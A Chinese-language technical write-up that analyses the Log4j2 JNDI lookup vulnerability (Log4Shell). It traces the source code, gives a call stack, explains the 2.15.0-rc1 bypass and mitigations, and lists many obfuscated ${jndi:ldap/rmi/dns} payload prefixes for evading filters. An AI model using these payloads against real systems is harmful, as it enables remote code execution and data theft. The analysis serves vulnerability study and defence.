漏洞刚出那会就复现过,漏洞原理也了解了
比赛上也打过类似的漏洞
但是没有系统的总结过该漏洞包括成因包括后续的Bypass等
遂有该篇文章
0x01环境准备
Log4j2Test01.java
1 2 3 4 5 6 7 8 9 10 11
| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Log4j2Test01 { public static void main( String[] args ) { Logger logger = LogManager.getLogger(LongFunction.class); } }
|
Log4j2_test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Log4j2_test { public static void main(String[] args) { Logger logger = LogManager.getLogger(LongFunction.class);
String str = "${java:os}"; if (str != null){ logger.info("result:{}",str); } } }
|
log4j2.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?xml version="1.0" encoding="UTF-8"?>
<configuration status="info"> <Properties> <Property name="pattern1">[%-5p] %d %c - %m%n</Property> <Property name="pattern2"> =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n </Property> <Property name="filePath">logs/myLog.log</Property> </Properties> <appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="${pattern1}"/> </Console> <RollingFile name="RollingFile" fileName="${filePath}" filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz"> <PatternLayout pattern="${pattern2}"/> <SizeBasedTriggeringPolicy size="5 MB"/> </RollingFile> </appenders> <loggers> <root level="info"> <appender-ref ref="Console"/> <appender-ref ref="RollingFile"/> </root> </loggers></configuration>
|
pom配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> </dependencies>
|
测试

从图中可以看到打印内容并非java:os
而是java的系统信息,也就是说对我们传入的字符串内容进行处理并输出
如果是恶意的字符被传入,就可以非法利用
0x02漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
按照上面的输出,我们在这里跟进一下代码
首先是进行遍历,内容进行拼接
buffer也就是我们要输出的java:os的内容
event则是输出我们打印的字符串

这里先有一个if判断,config不为空并且noLookups为true即可进入if
这里我钝了一下,为啥第二个条件为false也能进入if,才发现是!条件为true(老年人眼花

进来之后还是一个遍历,是从66位开始的
那我们就去看下开始的位置

可以看到66是r

也就是

接着来获取${
1
| workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{'
|
并且到这一步就可以看到最终的value的值为result:${java:os}

跟进看一下替换过程
判断source(${java:os})不为空
来到重载的replace方法并调用substitute方法

接着走
来到substitute方法
前缀

和后缀

逃逸代码
1
| final char escape = getEscapeChar();
|
这里会重复几轮,我们直接跳过

这个while进来就开始匹配${

接着pos和bufEnd进行比较(2<11)

然后接着遍历
。。。
转的有点晕了
刚才只是小循环
大循环之后拿到varValue

再之后拿到char数组就是处理后的内容

一路跟进到revolveVariable方法
该方法根据不同协议选择相应的lookup逻辑进行解析

ps:这里测试payload还是更换为jndi:ldap://127.0.0.1:1389/Evil
再开两个服务ldap和http
测试一下没问题

再跟进,更换paylaod主要是我们后续要跟到jndi部分,否则无法通过jndi调用lookup
调用jndi原生的lookup

返回JndiManager的Class对象实体的字符串

同上,最终来到jndiManager的lookup方法,继续跟进


大致总结下就是
- 先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
- 后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:10, Test (com.summer.test)
|
0x03 Log4j2的一些点
在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。
其中Lookup & Substitution的过程也就是漏洞的关键点。提供Lookup功能的组件需要实现org.apache.logging.log4j.core.lookup.StrLookup
接口,并通过配置文件进行设置。
Lookup支持的属性查找或替换选项(各协议)

缓解措施及说明
在 >= 2.10 版本,可以通过设置系统属性 log4j2.formatMsgNoLookups
或环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS
为 true 来缓解
log4j自从2.17.0后在Lookup
中使用Jndi
协议需要修改默认配置log4j2.enableJndiLookup
,其默认为false
,无法调用jndi

在 2.0-beta9 to 2.10.0 版本,可以通过移除 classpath 中的 JndiLookup
类来缓解
https://logging.apache.org/log4j/2.x/manual/lookups.html#JavaLookup
消息格式化
log4j2通过MessagePatternConverter
对日志消息进行处理,实例化该类时会从config中回去xml配置信息盘圆是否提供Lookups功能

并且会从loadNoLookups函数进行加载来判断

然后就是字符串解析替换
通过上面跟源码
字符串替换操作是通过StrSubstitutor#replace
然后是解析,通过设置变量,前缀${和后缀}
默认分隔符:-
分隔符:-
该类提供的substitute方法,也是整个Lookuop功能的核心,递归替换相应字符串
当然debug的时候确实很绕,不打断点一会就迷路了
这里直接看现成的例子(来自su18师傅)
1 2
| - :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。 - :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
|
在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析。
后续的一些Bypass也是根据这些特征来进行的
由于 Log4j2 支持递归和嵌套解析,所以可以用来获取相关信息来实现一些攻击思路
2.15.0(rc1)绕过
MessagePatternConverter类中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 lookup 功能。

其内部类方法对扩展功能进行模块化处理,在只有开启lookup功能的时候才能使用LookupMessagePatternConverter
来进行 Lookup 和替换。

在默认情况下,将使用 SimpleMessagePatternConverter
进行消息的格式化处理,不会解析其中的 ${}
关键字。
接着实在JndiManager#lookup方法添加了校验,不会直接使用InitialContext创建JndiManager 实例
而是通过JndiManagerFactory ,使用子类InitialDirContext并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。
最终在lookup方法中,逻辑在catch后没有return,导致可以利用URISyntaxException异常来绕过校验,直接走到后面lookup

即url中存在空格即可出发漏洞
windows不行,Mac可以…
但是2.15.0版本默认是关闭lookup的,需要打开配置才能触发,有点鸡肋
虽然除了 JNDI 之外的核心包里的 Lookup 不能直接用来执行恶意代码,但是可以获取系统信息、环境变量、属性配置、JVM参数等等信息,这些信息可以被攻击者用来进行下一步的攻击。(Google CTF一个题目的非预期)
Bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| ${${a:-j}ndi:ldap: ${${a:-j}n${::-d}i:ldap: ${${lower:jn}di:ldap: ${${lower:${upper:jn}}di:ldap: ${${lower:${upper:jn}}${::-di}:ldap: ${jndi:ldap: ${jndi:ldap:/domain.com/a} ${jndi:dns:/domain.com} ${jndi:dns: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}: ${${::-j}ndi:rmi: ${jndi:rmi: ${${lower:jndi}:${lower:rmi}: ${${lower:${lower:jndi}}:${lower:rmi}: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}: ${jndi:${lower:l}${lower:d}a${lower:p}: ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:} jn${env::-}di: jn${date:}di${date:':'} j${k8s:k5:-ND}i${sd:k5:-:} j${main:\k5:-Nd}i${spring:k5:-:} j${sys:k5:-nD}${lower:i${web:k5:-:}} j${::-nD}i${::-:} j${EnV:K5:-nD}i: j${loWer:Nd}i${uPper::}
|
0x04 修复建议
开组奇安信威胁情报中心

低版本(<2.10)无法通过jvm 参数、配置、环境系统变量中设置 nolookups关闭 lookup 功能